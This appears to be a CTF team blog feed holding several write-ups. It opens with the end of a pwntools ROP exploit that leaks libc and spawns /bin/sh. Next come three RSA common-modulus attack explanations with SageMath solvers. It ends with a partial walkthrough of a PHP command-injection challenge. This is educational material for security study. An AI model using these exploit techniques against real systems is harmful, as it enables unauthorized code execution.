</span></span><span style="display:flex;"><span><span style="color:#6c7986">### First step: obtain libc base address</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>buf_addr = <span style="color:#d0bf69">0x0804B040</span>
</span></span><span style="display:flex;"><span>p = <span style="color:#fc6a5d">&#39;A&#39;</span> * (<span style="color:#d0bf69">256</span> + <span style="color:#d0bf69">12</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># write the format string using read_letter</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x080486D9</span>) <span style="color:#6c7986"># read_letter</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x08048daa</span>) <span style="color:#6c7986">#pop;pop;ret</span>
</span></span><span style="display:flex;"><span>p += p32(buf_addr)
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># call printf(&#34;%s&#34;, plt.atoi)</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x080484C0</span>)
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x08048daa</span>) <span style="color:#6c7986">#pop;pop;ret</span>
</span></span><span style="display:flex;"><span>p += p32(buf_addr)
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x0804B03C</span>) <span style="color:#6c7986"># got address for atoi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># call main_loop once again</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x08048BD0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>	add_letter(r, <span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>delete_letter(r, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># setbuf(/dev/null, letters[4].data)</span>
</span></span><span style="display:flex;"><span>post_letter(r, <span style="color:#d0bf69">4</span>, -<span style="color:#d0bf69">15</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> chunk in chunks(p, <span style="color:#d0bf69">200</span>):
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Chunk: &#39;</span> + chunk
</span></span><span style="display:flex;"><span>	add_letter(r, chunk)
</span></span><span style="display:flex;"><span>	post_letter(r, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>	delete_letter(r, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;4&#39;</span>);
</span></span><span style="display:flex;"><span>r.recvuntil(<span style="color:#fc6a5d">&#39;:)&#39;</span>)
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>r.readline()
</span></span><span style="display:flex;"><span>dump = r.readline()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>atoi_addr = <span style="color:#d0a8ff">ord</span>(dump[<span style="color:#d0bf69">0</span>]) + (<span style="color:#d0a8ff">ord</span>(dump[<span style="color:#d0bf69">1</span>]) &lt;&lt; <span style="color:#d0bf69">8</span>) + (<span style="color:#d0a8ff">ord</span>(dump[<span style="color:#d0bf69">2</span>]) &lt;&lt; <span style="color:#d0bf69">16</span>) + (<span style="color:#d0a8ff">ord</span>(dump[<span style="color:#d0bf69">3</span>]) &lt;&lt; <span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Atoi addr: 0x</span><span style="color:#fc6a5d">%x</span><span style="color:#fc6a5d">&#39;</span> % atoi_addr
</span></span><span style="display:flex;"><span>libc_addr = atoi_addr - libc.symbols[<span style="color:#fc6a5d">&#39;atoi&#39;</span>]
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Libc base: 0x</span><span style="color:#fc6a5d">%x</span><span style="color:#fc6a5d">&#39;</span> % libc_addr
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">### Second step: call system(&#34;/bin/sh&#34;)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p = <span style="color:#fc6a5d">&#39;A&#39;</span> * (<span style="color:#d0bf69">256</span> + <span style="color:#d0bf69">12</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># write /bin/sh using read_letter</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x080486D9</span>) <span style="color:#6c7986"># read_letter</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x08048daa</span>) <span style="color:#6c7986">#pop;pop;ret</span>
</span></span><span style="display:flex;"><span>p += p32(buf_addr)
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># call system(&#34;/bin/sh&#34;)</span>
</span></span><span style="display:flex;"><span>p += p32(libc_addr + libc.symbols[<span style="color:#fc6a5d">&#39;system&#39;</span>])
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x08048dab</span>) <span style="color:#6c7986">#pop:ret</span>
</span></span><span style="display:flex;"><span>p += p32(buf_addr)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># call fail</span>
</span></span><span style="display:flex;"><span>p += p32(<span style="color:#d0bf69">0x0804868B</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>	add_letter(r, <span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>delete_letter(r, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># setbuf(/dev/null, letters[4].data)</span>
</span></span><span style="display:flex;"><span>post_letter(r, <span style="color:#d0bf69">4</span>, -<span style="color:#d0bf69">15</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> chunk in chunks(p, <span style="color:#d0bf69">200</span>):
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;Chunk: &#39;</span> + chunk
</span></span><span style="display:flex;"><span>	add_letter(r, chunk)
</span></span><span style="display:flex;"><span>	post_letter(r, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>	delete_letter(r, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;4&#39;</span>)
</span></span><span style="display:flex;"><span>r.recvuntil(<span style="color:#fc6a5d">&#39;:)&#39;</span>)
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;/bin/sh&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r.interactive()
</span></span></code></pre></div>]]></content></item><item><title>Codeblue CTF 2017 - Common Modulus 1</title><link>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-1/</link><pubDate>Fri, 10 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-1/</guid><description>&lt;p>Next in the series &lt;a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-2/">Common Modulus 2&lt;/a>&lt;/p>
&lt;p>Quick summary of RSA
$cipher text = message^e \mod N$&lt;/p>
&lt;p>We have a message (the flag) encrypted with the same $N$, but with two different $e$.
As the name suggests the solution to this problem is a &lt;a href="https://crypto.stackexchange.com/questions/16283/how-to-use-common-modulus-attack">common modulus attack&lt;/a>&lt;/p>
&lt;p>The idea of the attack is that if we know&lt;/p>
&lt;ol>
&lt;li>$m^{e_1} \mod N$&lt;/li>
&lt;li>$m^{e_2} \mod N$&lt;/li>
&lt;li>$MCD(e_1, e_2) = 1$&lt;/li>
&lt;/ol>
&lt;p>then we can recover $m$.&lt;/p></description><content type="html"><![CDATA[<p>Next in the series <a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-2/">Common Modulus 2</a></p>
<p>Quick summary of RSA
$cipher text = message^e \mod N$</p>
<p>We have a message (the flag) encrypted with the same $N$, but with two different $e$.
As the name suggests the solution to this problem is a <a href="https://crypto.stackexchange.com/questions/16283/how-to-use-common-modulus-attack">common modulus attack</a></p>
<p>The idea of the attack is that if we know</p>
<ol>
<li>$m^{e_1} \mod N$</li>
<li>$m^{e_2} \mod N$</li>
<li>$MCD(e_1, e_2) = 1$</li>
</ol>
<p>then we can recover $m$.</p>
<p>Luckily $e_1$ and $e_2$ and two random generated primes so it is very likely that (3) holds and we have (1) (2) because we have the two cipher texts.</p>
<h2 id="explanation-of-the-attack">Explanation of the attack</h2>
<p>The <a href="https://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity">Bézout&rsquo;s identity</a> guarantees that we can find with the <a href="https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm">Extended Euclidean algorithm</a> $x$ and $y$ so that $xe_1 + ye_2 = 1$.
We can use this fact to compute $m$.</p>
<p>We are given the cipher texts $c_1 = m^{e_1} \mod N$ and $c_2 = m^{e_2} \mod N$</p>
<p>If we raise $c_1$ to the $x-th$ power modulo $N$ we get $c_1^{x} = (m^{e_1})^{x} = m^{xe_1} \mod N$ similary with $c_2$ and $y$ we get $c_2^{y} = m^{ye_2} \mod N$</p>
<p>If we multiply them we get $m^{xe_1}m^{ye_2} = m^{xe_1 + ye_2} \mod N$, but we have proven that the exponent is actually equal to $1$!
So what we really get is $m$!</p>
<hr>
<p>Note: One of $x$ and $y$ will be negative</p>
<h2 id="solution-sagemath-script">Solution SageMath script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> binascii <span style="color:#fc5fa3">import</span> unhexlify
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">solve</span>(e1, e2, n, c1, c2):
</span></span><span style="display:flex;"><span>    d, x, y = xgcd(e1, e2)
</span></span><span style="display:flex;"><span>    m = (<span style="color:#d0a8ff">pow</span>(c1, x, n) * <span style="color:#d0a8ff">pow</span>(c2, y, n)) % n
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> unhexlify(<span style="color:#d0a8ff">hex</span>(long(m))[<span style="color:#d0bf69">2</span>:-<span style="color:#d0bf69">1</span>])
</span></span></code></pre></div>]]></content></item><item><title>Codeblue CTF 2017 - Common Modulus 2</title><link>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-2/</link><pubDate>Fri, 10 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-2/</guid><description>&lt;p>Next in the series &lt;a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-3/">Common Modulus 3&lt;/a>&lt;/p>
&lt;p>We have solved &lt;a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-1/">Common Modulus 1&lt;/a>, but now there&amp;rsquo;s more!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>e = &lt;span style="color:#d0bf69">3&lt;/span> * get_random_prime(&lt;span style="color:#d0bf69">20&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Mmmmh now $MCD(e_1, e_2) = 3 \ne 1$ so we can&amp;rsquo;t get the flag as easily.&lt;/p>
&lt;p>That is because the $x$ and $y$ we find with the &lt;a href="https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm">Extended Euclidean algorithm&lt;/a> will be so that $xe_1 + ye_2 = 3$ (again thanks to the &lt;a href="https://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity">Bézout&amp;rsquo;s identity&lt;/a>).
What we get is $m^3 \mod N$, still not that bad.&lt;/p></description><content type="html"><![CDATA[<p>Next in the series <a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-3/">Common Modulus 3</a></p>
<p>We have solved <a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-1/">Common Modulus 1</a>, but now there&rsquo;s more!</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>e = <span style="color:#d0bf69">3</span> * get_random_prime(<span style="color:#d0bf69">20</span>)
</span></span></code></pre></div><p>Mmmmh now $MCD(e_1, e_2) = 3 \ne 1$ so we can&rsquo;t get the flag as easily.</p>
<p>That is because the $x$ and $y$ we find with the <a href="https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm">Extended Euclidean algorithm</a> will be so that $xe_1 + ye_2 = 3$ (again thanks to the <a href="https://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity">Bézout&rsquo;s identity</a>).
What we get is $m^3 \mod N$, still not that bad.</p>
<p>We notice that $m^3$ is quite smaller than $N$ and also that the flag is surely shorter that 2048/3 = 682 bits roughly 85 characters.</p>
<p>We can actually take the cube root of $m^3$ and recover the flag!</p>
<h2 id="solution-sagemath-script">Solution SageMath script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> binascii <span style="color:#fc5fa3">import</span> unhexlify
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">solve</span>(e1, e2, n, m1, m2):
</span></span><span style="display:flex;"><span>    d, x, y = xgcd(e1, e2)
</span></span><span style="display:flex;"><span>    c = (<span style="color:#d0a8ff">pow</span>(m1, x, n) * <span style="color:#d0a8ff">pow</span>(m2, y, n)) % n
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> unhexlify(<span style="color:#d0a8ff">hex</span>(long(<span style="color:#d0a8ff">pow</span>(long(c), <span style="color:#d0bf69">1</span>/<span style="color:#d0bf69">3</span>)))[<span style="color:#d0bf69">2</span>:-<span style="color:#d0bf69">1</span>])
</span></span></code></pre></div>]]></content></item><item><title>Codeblue CTF 2017 - Common Modulus 3</title><link>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-3/</link><pubDate>Fri, 10 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-3/</guid><description>&lt;p>We have solved &lt;a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-1/">Common Modulus 1&lt;/a> and
&lt;a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-2/">Common Modulus 2&lt;/a>, but now there&amp;rsquo;s even more!&lt;/p>
&lt;p>Bigger public exponent? Check&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>e = &lt;span style="color:#d0bf69">17&lt;/span> * get_random_prime(&lt;span style="color:#d0bf69">20&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Padding? Check&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(flag) * &lt;span style="color:#d0bf69">4&lt;/span> &amp;lt; &lt;span style="color:#d0bf69">8192&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flag += &lt;span style="color:#fc6a5d">&amp;#39;00&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>FLAG = long(flag[:-&lt;span style="color:#d0bf69">2&lt;/span>], &lt;span style="color:#d0bf69">16&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Proper padding? Luckily not!&lt;/p>
&lt;p>We have to:&lt;/p>
&lt;ol>
&lt;li>Remove the padding&lt;/li>
&lt;li>take the seventeen-th root of the message (at least hope we can)&lt;/li>
&lt;/ol>
&lt;p>The bigger public modulus let&amp;rsquo;s us hope for the best ($8192 / 17 = 481$ bits or circa 60 bytes).&lt;/p></description><content type="html"><![CDATA[<p>We have solved <a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-1/">Common Modulus 1</a> and
<a href="https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-common-modulus-2/">Common Modulus 2</a>, but now there&rsquo;s even more!</p>
<p>Bigger public exponent? Check</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>e = <span style="color:#d0bf69">17</span> * get_random_prime(<span style="color:#d0bf69">20</span>)
</span></span></code></pre></div><p>Padding? Check</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(flag) * <span style="color:#d0bf69">4</span> &lt; <span style="color:#d0bf69">8192</span>:
</span></span><span style="display:flex;"><span>  flag += <span style="color:#fc6a5d">&#39;00&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>FLAG = long(flag[:-<span style="color:#d0bf69">2</span>], <span style="color:#d0bf69">16</span>)
</span></span></code></pre></div><p>Proper padding? Luckily not!</p>
<p>We have to:</p>
<ol>
<li>Remove the padding</li>
<li>take the seventeen-th root of the message (at least hope we can)</li>
</ol>
<p>The bigger public modulus let&rsquo;s us hope for the best ($8192 / 17 = 481$ bits or circa 60 bytes).</p>
<p>Since <code>flag</code> is parsed as a base 16 integer the <code>00</code> padding is just a multiplication by $2^4$. We don&rsquo;t know how many <code>00</code> of padding there are, but we know that it is more than 0 and less that 8192/4 so we can happily brute force that!</p>
<p>Remember that multiplication for $2^{-4} \mod N$ is actually just like dividing by $2^{4} \mod N$ or cancelling a <code>00</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">2048</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>        m17unpadded = (m17padded * <span style="color:#d0a8ff">pow</span>(<span style="color:#d0bf69">2</span>, -<span style="color:#d0bf69">17</span>*<span style="color:#d0bf69">4</span>*i, n)) % n
</span></span><span style="display:flex;"><span>    ...
</span></span></code></pre></div><p>Then we try to take the 17-th root</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>m, _ = ZZ(m17unpadded).nth_root(d, truncate_mode=<span style="color:#d0bf69">1</span>)
</span></span></code></pre></div><p>And check for a known plaintext like <code>CBCTF</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>flag = unhexlify(<span style="color:#d0a8ff">hex</span>(long(m))[<span style="color:#d0bf69">2</span>:].replace(<span style="color:#fc6a5d">&#39;L&#39;</span>, <span style="color:#fc6a5d">&#39;&#39;</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;CBCTF{&#39;</span> in flag:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span> flag
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span></code></pre></div><p>I did mess up a couple of times during the competition, but in the end we got the flag.</p>
<hr>
<p>N.B.
I renamed a couple of variables and didn&rsquo;t test the code again</p>
<h2 id="solution-sagemath-script">Solution SageMath script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> binascii <span style="color:#fc5fa3">import</span> unhexlify
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">solve</span>(e1, e2, n, c1, c2):
</span></span><span style="display:flex;"><span>    d, x, y = xgcd(e1, e2)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> d
</span></span><span style="display:flex;"><span>    m17padded = (<span style="color:#d0a8ff">pow</span>(c1, x, n) * <span style="color:#d0a8ff">pow</span>(c2, y, n)) % n <span style="color:#6c7986"># (flag * 2**x)**17 = flag ** 17 * 2**17x</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">2048</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>            m17unpadded, _ = ZZ(m17padded * <span style="color:#d0a8ff">pow</span>(<span style="color:#d0bf69">2</span>, -d*<span style="color:#d0bf69">4</span>*i, n)).nth_root(d, truncate_mode=<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>            flag = unhexlify(<span style="color:#d0a8ff">hex</span>(long(m17unpadded))[<span style="color:#d0bf69">2</span>:].replace(<span style="color:#fc6a5d">&#39;L&#39;</span>, <span style="color:#fc6a5d">&#39;&#39;</span>))
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;CBCTF{&#39;</span> in flag:
</span></span><span style="display:flex;"><span>                <span style="color:#d0a8ff">print</span> flag
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">except</span> TypeError <span style="color:#fc5fa3">as</span> e:
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># debugging debugging debugging</span>
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span> e
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span> long(m17unpadded)
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">pass</span>
</span></span></code></pre></div>]]></content></item><item><title>Hitcon CTF 2017 - Baby Revenge</title><link>https://theromanxpl0.it/posts/2017/11/hitcon-ctf-2017-baby-revenge/</link><pubDate>Mon, 06 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/hitcon-ctf-2017-baby-revenge/</guid><description>&lt;p>The page&amp;rsquo;s code is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&amp;lt;?php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$sandbox&lt;/span> = &lt;span style="color:#fc6a5d">&amp;#39;/home/andrea/Desktop/fff/sandbox/&amp;#39;&lt;/span> . md5(&lt;span style="color:#fc6a5d">&amp;#34;orange&amp;#34;&lt;/span> . &lt;span style="color:#41a1c0">$_SERVER&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;REMOTE_ADDR&amp;#39;&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @mkdir(&lt;span style="color:#41a1c0">$sandbox&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @chdir(&lt;span style="color:#41a1c0">$sandbox&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (isset(&lt;span style="color:#41a1c0">$_GET&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;cmd&amp;#39;&lt;/span>]) &amp;amp;&amp;amp; strlen(&lt;span style="color:#41a1c0">$_GET&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;cmd&amp;#39;&lt;/span>]) &amp;lt;= &lt;span style="color:#d0bf69">5&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @exec(&lt;span style="color:#41a1c0">$_GET&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;cmd&amp;#39;&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#fc5fa3">else&lt;/span> &lt;span style="color:#fc5fa3">if&lt;/span> (isset(&lt;span style="color:#41a1c0">$_GET&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;reset&amp;#39;&lt;/span>])) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @exec(&lt;span style="color:#fc6a5d">&amp;#39;/bin/rm -rf &amp;#39;&lt;/span> . &lt;span style="color:#41a1c0">$sandbox&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> highlight_file(__FILE__);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can execute a shell command but you have only 5 bytes.&lt;/p>
&lt;p>My idea is to use the &amp;rsquo;ls&amp;rsquo; output to write in a file and execute it.&lt;/p>
&lt;p>The target file is &amp;lsquo;\&amp;rsquo; so it does not affect the shell script semantics.&lt;/p></description><content type="html"><![CDATA[<p>The page&rsquo;s code is:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$sandbox</span> = <span style="color:#fc6a5d">&#39;/home/andrea/Desktop/fff/sandbox/&#39;</span> . md5(<span style="color:#fc6a5d">&#34;orange&#34;</span> . <span style="color:#41a1c0">$_SERVER</span>[<span style="color:#fc6a5d">&#39;REMOTE_ADDR&#39;</span>]);
</span></span><span style="display:flex;"><span>    @mkdir(<span style="color:#41a1c0">$sandbox</span>);
</span></span><span style="display:flex;"><span>    @chdir(<span style="color:#41a1c0">$sandbox</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (isset(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;cmd&#39;</span>]) &amp;&amp; strlen(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;cmd&#39;</span>]) &lt;= <span style="color:#d0bf69">5</span>) {
</span></span><span style="display:flex;"><span>        @exec(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;cmd&#39;</span>]);
</span></span><span style="display:flex;"><span>    } <span style="color:#fc5fa3">else</span> <span style="color:#fc5fa3">if</span> (isset(<span style="color:#41a1c0">$_GET</span>[<span style="color:#fc6a5d">&#39;reset&#39;</span>])) {
</span></span><span style="display:flex;"><span>        @exec(<span style="color:#fc6a5d">&#39;/bin/rm -rf &#39;</span> . <span style="color:#41a1c0">$sandbox</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>	highlight_file(__FILE__);
</span></span></code></pre></div><p>You can execute a shell command but you have only 5 bytes.</p>
<p>My idea is to use the &rsquo;ls&rsquo; output to write in a file and execute it.</p>
<p>The target file is &lsquo;\&rsquo; so it does not affect the shell script semantics.</p>
<p>The procedure is:</p>
<ul>
<li>create a file</li>
<li>redirect ls output to &lsquo;\&rsquo;</li>
<li>remove the file.</li>
</ul>
